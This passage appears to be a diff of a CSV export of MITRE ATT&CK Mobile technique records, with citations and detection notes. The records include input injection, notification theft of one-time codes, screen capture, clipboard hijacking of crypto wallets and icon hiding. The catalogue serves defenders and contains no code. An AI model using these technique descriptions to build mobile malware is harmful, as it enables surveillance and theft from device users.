'https://attack.mitre.org/techniques/T1520', 'external_id': 'T1520'}, {'source_name': 'securelist rotexy 2018', 'description': 'T. Shishkova, L. Pikman. (2018, November 22). The Rotexy mobile Trojan – banker and ransomware. Retrieved September 23, 2019.', 'url': 'https://securelist.com/the-rotexy-mobile-trojan-banker-and-ransomware/88893/'}, {'source_name': 'Data Driven Security DGA', 'description': 'Jacobs, J. (2014, October 2). Building a DGA Classifier: Part 2, Feature Engineering. Retrieved February 18, 2019.', 'url': 'https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/'}]",1.0,attack-pattern,attack-pattern--60623164-ccd8-4508-a141-b5a34820b3de,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-09-23T13:11:43.694Z,2019-09-23T14:53:42.654Z,Domain Generation Algorithms,"Adversaries may use [Domain Generation Algorithms](https://attack.mitre.org/techniques/T1520) (DGAs) to procedurally generate domain names for command and control communication, and other uses such as malicious application distribution.(Citation: securelist rotexy 2018) -DGAs increase the difficulty for defenders to block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.",attack-pattern--60623164-ccd8-4508-a141-b5a34820b3de,attack-pattern,['command-and-control'],2019-09-23T14:53:42.654Z,2019-09-23T13:11:43.694Z,"Detecting dynamically generated domains can be challenging due to the number of different DGA algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There is a myriad of approaches for detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) CDN domains may trigger these detections due to the format of their domain names. In addition to detecting a DGA domain based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains.",,,,,"['Android', 'iOS']",,,,,,,,,,,,,,['Post-Adversary Device Access'] -"[{'url': 'https://attack.mitre.org/techniques/T1516', 'source_name': 'mitre-mobile-attack', 'external_id': 'T1516'}, {'description': 'Lukáš Štefanko. (2018, December 11). Android Trojan steals money from PayPal accounts even with 2FA on. Retrieved July 11, 2019.', 'url': 'https://www.welivesecurity.com/2018/12/11/android-trojan-steals-money-paypal-accounts-2fa/', 'source_name': 'android-trojan-steals-paypal-2fa'}, {'description': 'Vitor Ventura. (2019, April 9). Gustuff banking botnet targets Australia . Retrieved September 3, 2019.', 'url': 'https://blog.talosintelligence.com/2019/04/gustuff-targets-australia.html', 'source_name': 'Talos Gustuff Apr 2019'}, {'description': 'Bitwarden. (n.d.). Auto-fill logins on Android . Retrieved September 15, 2019.', 'url': 'https://help.bitwarden.com/article/auto-fill-android/', 'source_name': 'bitwarden autofill logins'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'impact'}]",1.1,False,https://attack.mitre.org/techniques/T1516,mitre-mobile-attack,T1516,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Input Injection,"A malicious application can inject input to the user interface to mimic user interaction through the abuse of Android's accessibility APIs. +DGAs increase the difficulty for defenders to block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.",['command-and-control'],https://attack.mitre.org/techniques/T1520,mitre-mobile-attack,T1520,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Detecting dynamically generated domains can be challenging due to the number of different DGA algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There is a myriad of approaches for detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) CDN domains may trigger these detections due to the format of their domain names. In addition to detecting a DGA domain based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains.",,,"['Android', 'iOS']",,,,,,,,['Post-Adversary Device Access'], +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'impact'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1516', 'external_id': 'T1516'}, {'source_name': 'android-trojan-steals-paypal-2fa', 'description': 'Lukáš Štefanko. (2018, December 11). Android Trojan steals money from PayPal accounts even with 2FA on. Retrieved July 11, 2019.', 'url': 'https://www.welivesecurity.com/2018/12/11/android-trojan-steals-money-paypal-accounts-2fa/'}, {'source_name': 'Talos Gustuff Apr 2019', 'description': 'Vitor Ventura. (2019, April 9). Gustuff banking botnet targets Australia . Retrieved September 3, 2019.', 'url': 'https://blog.talosintelligence.com/2019/04/gustuff-targets-australia.html'}, {'source_name': 'bitwarden autofill logins', 'description': 'Bitwarden. (n.d.). Auto-fill logins on Android . Retrieved September 15, 2019.', 'url': 'https://help.bitwarden.com/article/auto-fill-android/'}]",1.1,attack-pattern,attack-pattern--d1f1337e-aea7-454c-86bd-482a98ffaf62,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-09-15T15:26:22.356Z,2020-06-24T15:02:13.323Z,Input Injection,"A malicious application can inject input to the user interface to mimic user interaction through the abuse of Android's accessibility APIs. [Input Injection](https://attack.mitre.org/techniques/T1516) can be achieved using any of the following methods: * Mimicking user clicks on the screen, for example to steal money from a user's PayPal account.(Citation: android-trojan-steals-paypal-2fa) * Injecting global actions, such as `GLOBAL_ACTION_BACK` (programatically mimicking a physical back button press), to trigger actions on behalf of the user.(Citation: Talos Gustuff Apr 2019) -* Inserting input into text fields on behalf of the user. This method is used legitimately to auto-fill text fields by applications such as password managers.(Citation: bitwarden autofill logins)",attack-pattern--d1f1337e-aea7-454c-86bd-482a98ffaf62,attack-pattern,"['defense-evasion', 'impact']",2020-06-24T15:02:13.323Z,2019-09-15T15:26:22.356Z,Users can view applications that have registered accessibility services in the accessibility menu within the device settings.,,"['Lukáš Štefanko, ESET']",,,['Android'],,,,,,,,,,,,,,['Post-Adversary Device Access'] -"[{'url': 'https://attack.mitre.org/techniques/T1517', 'source_name': 'mitre-mobile-attack', 'external_id': 'T1517'}, {'description': 'Lukáš Štefanko. (2019, June 17). Malware sidesteps Google permissions policy with new 2FA bypass technique. Retrieved September 15, 2019.', 'url': 'https://www.welivesecurity.com/2019/06/17/malware-google-permissions-2fa-bypass/', 'source_name': 'ESET 2FA Bypass'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'collection'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'credential-access'}]",1.0,False,https://attack.mitre.org/techniques/T1517,mitre-mobile-attack,T1517,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Access Notifications,"A malicious application can read notifications sent by the operating system or other applications, which may contain sensitive data such as one-time authentication codes sent over SMS, email, or other mediums. A malicious application can also dismiss notifications to prevent the user from noticing that the notifications arrived and can trigger action buttons contained within notifications.(Citation: ESET 2FA Bypass)",attack-pattern--39dd7871-f59b-495f-a9a5-3cb8cc50c9b2,attack-pattern,"['collection', 'credential-access']",2020-07-09T14:07:02.217Z,2019-09-15T15:26:08.183Z,The user can inspect (and modify) the list of applications that have notification access through the device settings (e.g. Apps & notification -> Special app access -> Notification access).,,"['Lukáš Štefanko, ESET']",,,['Android'],,,,,,,,,,,,,,['Post-Adversary Device Access'] -"[{'external_id': 'T1512', 'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1512'}, {'external_id': 'APP-19', 'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-19.html'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'collection'}]",1.0,,https://attack.mitre.org/techniques/T1512,mitre-mobile-attack,T1512,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Capture Camera,"Adversaries may utilize the camera to capture information about the user, their surroundings, or other physical identifiers. Adversaries may use the physical camera devices on a mobile device to capture images or video. By default, in Android and iOS, an application must request permission to access a camera device which is granted by the user through a request prompt. In Android, applications must hold the `android.permission.CAMERA` permission to access the camera. In iOS, applications must include the `NSCameraUsageDescription` key in the `Info.plist` file, and must request access to the camera at runtime.",attack-pattern--d8940e76-f9c1-4912-bea6-e21c251370b6,attack-pattern,['collection'],2019-09-12T18:33:15.023Z,2019-08-09T16:14:58.254Z,"On Android and iOS, the user can view which applications have permission to use the camera through the device settings screen, and the user can choose to revoke the permissions.",,,,,"['Android', 'iOS']",,,,,,,,,,,,,,['Post-Adversary Device Access'] -"[{'external_id': 'T1513', 'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1513'}, {'external_id': 'APP-40', 'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-40.html'}, {'description': 'Dario Durando. (2019, July 3). BianLian: A New Wave Emerges. Retrieved September 4, 2019.', 'url': 'https://www.fortinet.com/blog/threat-research/new-wave-bianlian-malware.html', 'source_name': 'Fortinet screencap July 2019'}, {'description': 'Android Developers. (n.d.). Android MediaProjectionManager. Retrieved August 8, 2019.', 'url': 'https://developer.android.com/reference/android/media/projection/MediaProjectionManager', 'source_name': 'Android ScreenCap1 2019'}, {'description': 'Bauer A., Kumar A., Hebeisen C., et al. (2019, July). Monokle: The Mobile Surveillance Tooling of the Special Technology Center. Retrieved September 4, 2019.', 'url': 'https://www.lookout.com/documents/threat-reports/lookout-discovers-monokle-threat-report.pdf', 'source_name': 'Lookout-Monokle'}, {'description': 'Android Developers. (n.d.). Android Debug Bridge (adb). Retrieved August 8, 2019.', 'url': 'https://developer.android.com/studio/command-line/adb', 'source_name': 'Android ScreenCap2 2019'}, {'source_name': 'Trend Micro ScreenCap July 2015', 'url': 'https://blog.trendmicro.com/trendlabs-security-intelligence/hacking-team-rcsandroid-spying-tool-listens-to-calls-roots-devices-to-get-in/', 'description': 'Zhang, V. (2015, July 21). Hacking Team RCSAndroid Spying Tool Listens to Calls; Roots Devices to Get In. Retrieved August 8, 2019.'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'collection'}]",1.1,False,https://attack.mitre.org/techniques/T1513,mitre-mobile-attack,T1513,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Screen Capture,"Adversaries may use screen captures to collect information about applications running in the foreground, capture user data, credentials, or other sensitive information. Applications running in the background can capture screenshots or videos of another application running in the foreground by using the Android `MediaProjectionManager` (generally requires the device user to grant consent).(Citation: Fortinet screencap July 2019)(Citation: Android ScreenCap1 2019) Background applications can also use Android accessibility services to capture screen contents being displayed by a foreground application.(Citation: Lookout-Monokle) An adversary with root access or Android Debug Bridge (adb) access could call the Android `screencap` or `screenrecord` commands.(Citation: Android ScreenCap2 2019)(Citation: Trend Micro ScreenCap July 2015)",attack-pattern--73c26732-6422-4081-8b63-6d0ae93d449e,attack-pattern,['collection'],2020-06-24T15:03:25.857Z,2019-08-08T18:34:14.178Z,The user can view a list of apps with accessibility service privileges in the device settings.,,,,,['Android'],,,,,,,,,,,,,,['Post-Adversary Device Access'] -"[{'external_id': 'T1509', 'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1509'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'command-and-control'}]",1.0,,https://attack.mitre.org/techniques/T1509,mitre-mobile-attack,T1509,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Uncommonly Used Port,Adversaries may use non-standard ports to exfiltrate information.,attack-pattern--948a447c-d783-4ba0-8516-a64140fcacd5,attack-pattern,['command-and-control'],2019-09-11T13:27:50.344Z,2019-08-01T13:44:09.368Z,"Detection would most likely be at the enterprise level, through packet and/or netflow inspection. Many properly configured firewalls may also naturally block command and control traffic over non-standard ports.",,,,,"['Android', 'iOS']",,,,,,,,,,,,,,['Post-Adversary Device Access'] -"[{'url': 'https://attack.mitre.org/techniques/T1510', 'source_name': 'mitre-mobile-attack', 'external_id': 'T1510'}, {'description': 'ESET. (2019, February 11). First clipper malware discovered on Google Play.. Retrieved July 26, 2019.', 'url': 'https://www.eset.com/uk/about/newsroom/press-releases/first-clipper-malware-discovered-on-google-play-1/', 'source_name': 'ESET Clipboard Modification February 2019'}, {'description': 'Lukáš Štefanko. (2019, February 8). First clipper malware discovered on Google Play. Retrieved July 26, 2019.', 'url': 'https://www.welivesecurity.com/2019/02/08/first-clipper-malware-google-play/', 'source_name': 'Welivesecurity Clipboard Modification February 2019'}, {'description': 'Zhang, X; Du, W. (2014, January). Attacks on Android Clipboard. Retrieved July 26, 2019.', 'url': 'http://www.cis.syr.edu/~wedu/Research/paper/clipboard_attack_dimva2014.pdf', 'source_name': 'Syracuse Clipboard Modification 2014'}, {'source_name': 'Dr.Webb Clipboard Modification origin2 August 2018', 'url': 'https://vms.drweb.com/virus/?i=17517761', 'description': 'Dr.Webb. (2018, August 8). Android.Clipper.2.origin. Retrieved July 26, 2019.'}, {'description': 'Dr.Webb. (2018, August 8). Android.Clipper.1.origin. Retrieved July 26, 2019.', 'url': 'https://vms.drweb.com/virus/?i=17517750', 'source_name': 'Dr.Webb Clipboard Modification origin August 2018'}, {'description': 'Android Developers. (n.d.). Privacy changes in Android 10. Retrieved September 11, 2019.', 'url': 'https://developer.android.com/about/versions/10/privacy/changes#clipboard-data', 'source_name': 'Android 10 Privacy Changes'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'impact'}]",1.0,,https://attack.mitre.org/techniques/T1510,mitre-mobile-attack,T1510,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Clipboard Modification,"Adversaries may abuse clipboard functionality to intercept and replace information in the Android device clipboard.(Citation: ESET Clipboard Modification February 2019)(Citation: Welivesecurity Clipboard Modification February 2019)(Citation: Syracuse Clipboard Modification 2014) Malicious applications may monitor the clipboard activity through the ClipboardManager.OnPrimaryClipChangedListener interface on Android to determine when the clipboard contents have changed.(Citation: Dr.Webb Clipboard Modification origin2 August 2018)(Citation: Dr.Webb Clipboard Modification origin August 2018) Listening to clipboard activity, reading the clipboard contents, and modifying the clipboard contents requires no explicit application permissions and can be performed by applications running in the background, however, this behavior has changed with the release of Android 10.(Citation: Android 10 Privacy Changes) +* Inserting input into text fields on behalf of the user. This method is used legitimately to auto-fill text fields by applications such as password managers.(Citation: bitwarden autofill logins)","['defense-evasion', 'impact']",https://attack.mitre.org/techniques/T1516,mitre-mobile-attack,T1516,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Lukáš Štefanko, ESET']",,,Users can view applications that have registered accessibility services in the accessibility menu within the device settings.,False,,['Android'],,,,,,,,['Post-Adversary Device Access'], +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'collection'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1517', 'external_id': 'T1517'}, {'source_name': 'ESET 2FA Bypass', 'description': 'Lukáš Štefanko. (2019, June 17). Malware sidesteps Google permissions policy with new 2FA bypass technique. Retrieved September 15, 2019.', 'url': 'https://www.welivesecurity.com/2019/06/17/malware-google-permissions-2fa-bypass/'}]",1.0,attack-pattern,attack-pattern--39dd7871-f59b-495f-a9a5-3cb8cc50c9b2,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-09-15T15:26:08.183Z,2020-07-09T14:07:02.217Z,Access Notifications,"A malicious application can read notifications sent by the operating system or other applications, which may contain sensitive data such as one-time authentication codes sent over SMS, email, or other mediums. A malicious application can also dismiss notifications to prevent the user from noticing that the notifications arrived and can trigger action buttons contained within notifications.(Citation: ESET 2FA Bypass)","['collection', 'credential-access']",https://attack.mitre.org/techniques/T1517,mitre-mobile-attack,T1517,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Lukáš Štefanko, ESET']",,,The user can inspect (and modify) the list of applications that have notification access through the device settings (e.g. Apps & notification -> Special app access -> Notification access).,False,,['Android'],,,,,,,,['Post-Adversary Device Access'], +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1512', 'external_id': 'T1512'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-19.html', 'external_id': 'APP-19'}]",1.0,attack-pattern,attack-pattern--d8940e76-f9c1-4912-bea6-e21c251370b6,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-08-09T16:14:58.254Z,2019-09-12T18:33:15.023Z,Capture Camera,"Adversaries may utilize the camera to capture information about the user, their surroundings, or other physical identifiers. Adversaries may use the physical camera devices on a mobile device to capture images or video. By default, in Android and iOS, an application must request permission to access a camera device which is granted by the user through a request prompt. In Android, applications must hold the `android.permission.CAMERA` permission to access the camera. In iOS, applications must include the `NSCameraUsageDescription` key in the `Info.plist` file, and must request access to the camera at runtime.",['collection'],https://attack.mitre.org/techniques/T1512,mitre-mobile-attack,T1512,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"On Android and iOS, the user can view which applications have permission to use the camera through the device settings screen, and the user can choose to revoke the permissions.",,,"['Android', 'iOS']",,,,,,,,['Post-Adversary Device Access'], +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1513', 'external_id': 'T1513'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-40.html', 'external_id': 'APP-40'}, {'source_name': 'Fortinet screencap July 2019', 'description': 'Dario Durando. (2019, July 3). BianLian: A New Wave Emerges. Retrieved September 4, 2019.', 'url': 'https://www.fortinet.com/blog/threat-research/new-wave-bianlian-malware.html'}, {'source_name': 'Android ScreenCap1 2019', 'description': 'Android Developers. (n.d.). Android MediaProjectionManager. Retrieved August 8, 2019.', 'url': 'https://developer.android.com/reference/android/media/projection/MediaProjectionManager'}, {'source_name': 'Lookout-Monokle', 'description': 'Bauer A., Kumar A., Hebeisen C., et al. (2019, July). Monokle: The Mobile Surveillance Tooling of the Special Technology Center. Retrieved September 4, 2019.', 'url': 'https://www.lookout.com/documents/threat-reports/lookout-discovers-monokle-threat-report.pdf'}, {'source_name': 'Android ScreenCap2 2019', 'description': 'Android Developers. (n.d.). Android Debug Bridge (adb). Retrieved August 8, 2019.', 'url': 'https://developer.android.com/studio/command-line/adb'}, {'source_name': 'Trend Micro ScreenCap July 2015', 'description': 'Zhang, V. (2015, July 21). Hacking Team RCSAndroid Spying Tool Listens to Calls; Roots Devices to Get In. Retrieved August 8, 2019.', 'url': 'https://blog.trendmicro.com/trendlabs-security-intelligence/hacking-team-rcsandroid-spying-tool-listens-to-calls-roots-devices-to-get-in/'}]",1.1,attack-pattern,attack-pattern--73c26732-6422-4081-8b63-6d0ae93d449e,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-08-08T18:34:14.178Z,2020-06-24T15:03:25.857Z,Screen Capture,"Adversaries may use screen captures to collect information about applications running in the foreground, capture user data, credentials, or other sensitive information. Applications running in the background can capture screenshots or videos of another application running in the foreground by using the Android `MediaProjectionManager` (generally requires the device user to grant consent).(Citation: Fortinet screencap July 2019)(Citation: Android ScreenCap1 2019) Background applications can also use Android accessibility services to capture screen contents being displayed by a foreground application.(Citation: Lookout-Monokle) An adversary with root access or Android Debug Bridge (adb) access could call the Android `screencap` or `screenrecord` commands.(Citation: Android ScreenCap2 2019)(Citation: Trend Micro ScreenCap July 2015)",['collection'],https://attack.mitre.org/techniques/T1513,mitre-mobile-attack,T1513,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,The user can view a list of apps with accessibility service privileges in the device settings.,False,,['Android'],,,,,,,,['Post-Adversary Device Access'], +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1509', 'external_id': 'T1509'}]",1.0,attack-pattern,attack-pattern--948a447c-d783-4ba0-8516-a64140fcacd5,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-08-01T13:44:09.368Z,2019-09-11T13:27:50.344Z,Uncommonly Used Port,Adversaries may use non-standard ports to exfiltrate information.,['command-and-control'],https://attack.mitre.org/techniques/T1509,mitre-mobile-attack,T1509,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Detection would most likely be at the enterprise level, through packet and/or netflow inspection. Many properly configured firewalls may also naturally block command and control traffic over non-standard ports.",,,"['Android', 'iOS']",,,,,,,,['Post-Adversary Device Access'], +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'impact'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1510', 'external_id': 'T1510'}, {'source_name': 'ESET Clipboard Modification February 2019', 'description': 'ESET. (2019, February 11). First clipper malware discovered on Google Play.. Retrieved July 26, 2019.', 'url': 'https://www.eset.com/uk/about/newsroom/press-releases/first-clipper-malware-discovered-on-google-play-1/'}, {'source_name': 'Welivesecurity Clipboard Modification February 2019', 'description': 'Lukáš Štefanko. (2019, February 8). First clipper malware discovered on Google Play. Retrieved July 26, 2019.', 'url': 'https://www.welivesecurity.com/2019/02/08/first-clipper-malware-google-play/'}, {'source_name': 'Syracuse Clipboard Modification 2014', 'description': 'Zhang, X; Du, W. (2014, January). Attacks on Android Clipboard. Retrieved July 26, 2019.', 'url': 'http://www.cis.syr.edu/~wedu/Research/paper/clipboard_attack_dimva2014.pdf'}, {'source_name': 'Dr.Webb Clipboard Modification origin2 August 2018', 'description': 'Dr.Webb. (2018, August 8). Android.Clipper.2.origin. Retrieved July 26, 2019.', 'url': 'https://vms.drweb.com/virus/?i=17517761'}, {'source_name': 'Dr.Webb Clipboard Modification origin August 2018', 'description': 'Dr.Webb. (2018, August 8). Android.Clipper.1.origin. Retrieved July 26, 2019.', 'url': 'https://vms.drweb.com/virus/?i=17517750'}, {'source_name': 'Android 10 Privacy Changes', 'description': 'Android Developers. (n.d.). Privacy changes in Android 10. Retrieved September 11, 2019.', 'url': 'https://developer.android.com/about/versions/10/privacy/changes#clipboard-data'}]",1.0,attack-pattern,attack-pattern--e399430e-30b7-48c5-b70a-f44dc8c175cb,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-07-26T14:15:31.451Z,2019-10-28T18:36:26.261Z,Clipboard Modification,"Adversaries may abuse clipboard functionality to intercept and replace information in the Android device clipboard.(Citation: ESET Clipboard Modification February 2019)(Citation: Welivesecurity Clipboard Modification February 2019)(Citation: Syracuse Clipboard Modification 2014) Malicious applications may monitor the clipboard activity through the ClipboardManager.OnPrimaryClipChangedListener interface on Android to determine when the clipboard contents have changed.(Citation: Dr.Webb Clipboard Modification origin2 August 2018)(Citation: Dr.Webb Clipboard Modification origin August 2018) Listening to clipboard activity, reading the clipboard contents, and modifying the clipboard contents requires no explicit application permissions and can be performed by applications running in the background, however, this behavior has changed with the release of Android 10.(Citation: Android 10 Privacy Changes) Adversaries may use [Clipboard Modification](https://attack.mitre.org/techniques/T1510) to replace text prior to being pasted, for example, replacing a copied Bitcoin wallet address with a wallet address that is under adversarial control. -[Clipboard Modification](https://attack.mitre.org/techniques/T1510) had been seen within the Android/Clipper.C trojan. This sample had been detected by ESET in an application distributed through the Google Play Store targeting cryptocurrency wallet numbers.(Citation: ESET Clipboard Modification February 2019)",attack-pattern--e399430e-30b7-48c5-b70a-f44dc8c175cb,attack-pattern,['impact'],2019-10-28T18:36:26.261Z,2019-07-26T14:15:31.451Z,"Modifying clipboard content can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.",,,,,['Android'],,,,,,,,,,,,,,['Post-Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'external_id': 'T1508', 'url': 'https://attack.mitre.org/techniques/T1508'}, {'description': 'Lukáš Štefanko. (2018, December 11). Android Trojan steals money from PayPal accounts even with 2FA on. Retrieved July 11, 2019.', 'url': 'https://www.welivesecurity.com/2018/12/11/android-trojan-steals-money-paypal-accounts-2fa/', 'source_name': 'android-trojan-steals-paypal-2fa'}, {'source_name': 'sunny-stolen-credentials', 'url': 'https://www.welivesecurity.com/2017/02/22/sunny-chance-stolen-credentials-malicious-weather-app-found-google-play/', 'description': 'Lukáš Štefanko. (2017, February 22). Sunny with a chance of stolen credentials: Malicious weather app found on Google Play. Retrieved July 11, 2019.'}, {'source_name': 'bankbot-spybanker', 'url': 'https://www.cyber.nj.gov/threat-profiles/android-malware-variants/bankbot-spybanker', 'description': 'NJCCIC. (2017, March 2). BankBot/Spy Banker. Retrieved July 11, 2019.'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'defense-evasion'}]",1.1,False,https://attack.mitre.org/techniques/T1508,mitre-mobile-attack,T1508,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Suppress Application Icon,"A malicious application could suppress its icon from being displayed to the user in the application launcher to hide the fact that it is installed, and to make it more difficult for the user to uninstall the application. Hiding the application's icon programmatically does not require any special permissions. +[Clipboard Modification](https://attack.mitre.org/techniques/T1510) had been seen within the Android/Clipper.C trojan. This sample had been detected by ESET in an application distributed through the Google Play Store targeting cryptocurrency wallet numbers.(Citation: ESET Clipboard Modification February 2019)",['impact'],https://attack.mitre.org/techniques/T1510,mitre-mobile-attack,T1510,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Modifying clipboard content can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.",,,['Android'],,,,,,,,['Post-Adversary Device Access'], +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1508', 'external_id': 'T1508'}, {'source_name': 'android-trojan-steals-paypal-2fa', 'description': 'Lukáš Štefanko. (2018, December 11). Android Trojan steals money from PayPal accounts even with 2FA on. Retrieved July 11, 2019.', 'url': 'https://www.welivesecurity.com/2018/12/11/android-trojan-steals-money-paypal-accounts-2fa/'}, {'source_name': 'sunny-stolen-credentials', 'description': 'Lukáš Štefanko. (2017, February 22). Sunny with a chance of stolen credentials: Malicious weather app found on Google Play. Retrieved July 11, 2019.', 'url': 'https://www.welivesecurity.com/2017/02/22/sunny-chance-stolen-credentials-malicious-weather-app-found-google-play/'}, {'source_name': 'bankbot-spybanker', 'description': 'NJCCIC. (2017, March 2). BankBot/Spy Banker. Retrieved July 11, 2019.', 'url': 'https://www.cyber.nj.gov/threat-profiles/android-malware-variants/bankbot-spybanker'}]",1.1,attack-pattern,attack-pattern--fd658820-cbba-4c95-8ac9-0fac6b1099e2,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2019-07-11T18:09:42.039Z,2019-11-14T18:03:26.460Z,Suppress Application Icon,"A malicious application could suppress its icon from being displayed to the user in the application launcher to hide the fact that it is installed, and to make it more difficult for the user to uninstall the application. Hiding the application's icon programmatically does not require any special permissions. -This behavior has been seen in the BankBot/Spy Banker family of malware.(Citation: android-trojan-steals-paypal-2fa)(Citation: sunny-stolen-credentials)(Citation: bankbot-spybanker)",attack-pattern--fd658820-cbba-4c95-8ac9-0fac6b1099e2,attack-pattern,['defense-evasion'],2019-11-14T18:03:26.460Z,2019-07-11T18:09:42.039Z,"The user can examine the list of all installed applications, including those with a suppressed icon, in the device settings.",,"['Emily Ratliff, IBM']",,,['Android'],,,,,,,,,,,,,,['Post-Adversary Device Access'] -"[{'external_id': 'T1507', 'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1507'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'collection'}]",1.0,,https://attack.mitre.org/techniques/T1507,mitre-mobile-attack,T1507,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Network Information Discovery,"Adversaries may use device sensors to collect information about nearby networks, such as Wi-Fi and Bluetooth.",attack-pattern--e4c347e9-fb91-4bc5-83b8-391e389131e2,attack-pattern,['collection'],2019-07-10T15:18:16.753Z,2019-07-10T15:18:16.753Z,,,,,,['Android'],,,,,,,,,,,,,,['Post-Adversary Device Access'] -"[{'url': 'https://attack.mitre.org/techniques/T1481', 'source_name': 'mitre-mobile-attack', 'external_id': 'T1481'}]","[{'phase_name': 'command-and-control', 'kill_chain_name': 'mitre-mobile-attack'}]",1.0,,https://attack.mitre.org/techniques/T1481,mitre-mobile-attack,T1481,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Web Service,"Adversaries may use an existing, legitimate external Web service as a means for relaying commands to a compromised system. +This behavior has been seen in the BankBot/Spy Banker family of malware.(Citation: android-trojan-steals-paypal-2fa)(Citation: sunny-stolen-credentials)(Citation: bankbot-spybanker)",['defense-evasion'],https://attack.mitre.org/techniques/T1508,mitre-mobile-attack,T1508,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Emily Ratliff, IBM']",,,"The user can examine the list of all installed applications, including those with a suppressed icon, in the device settings.",False,,['Android'],,,,,,,,['Post-Adversary Device 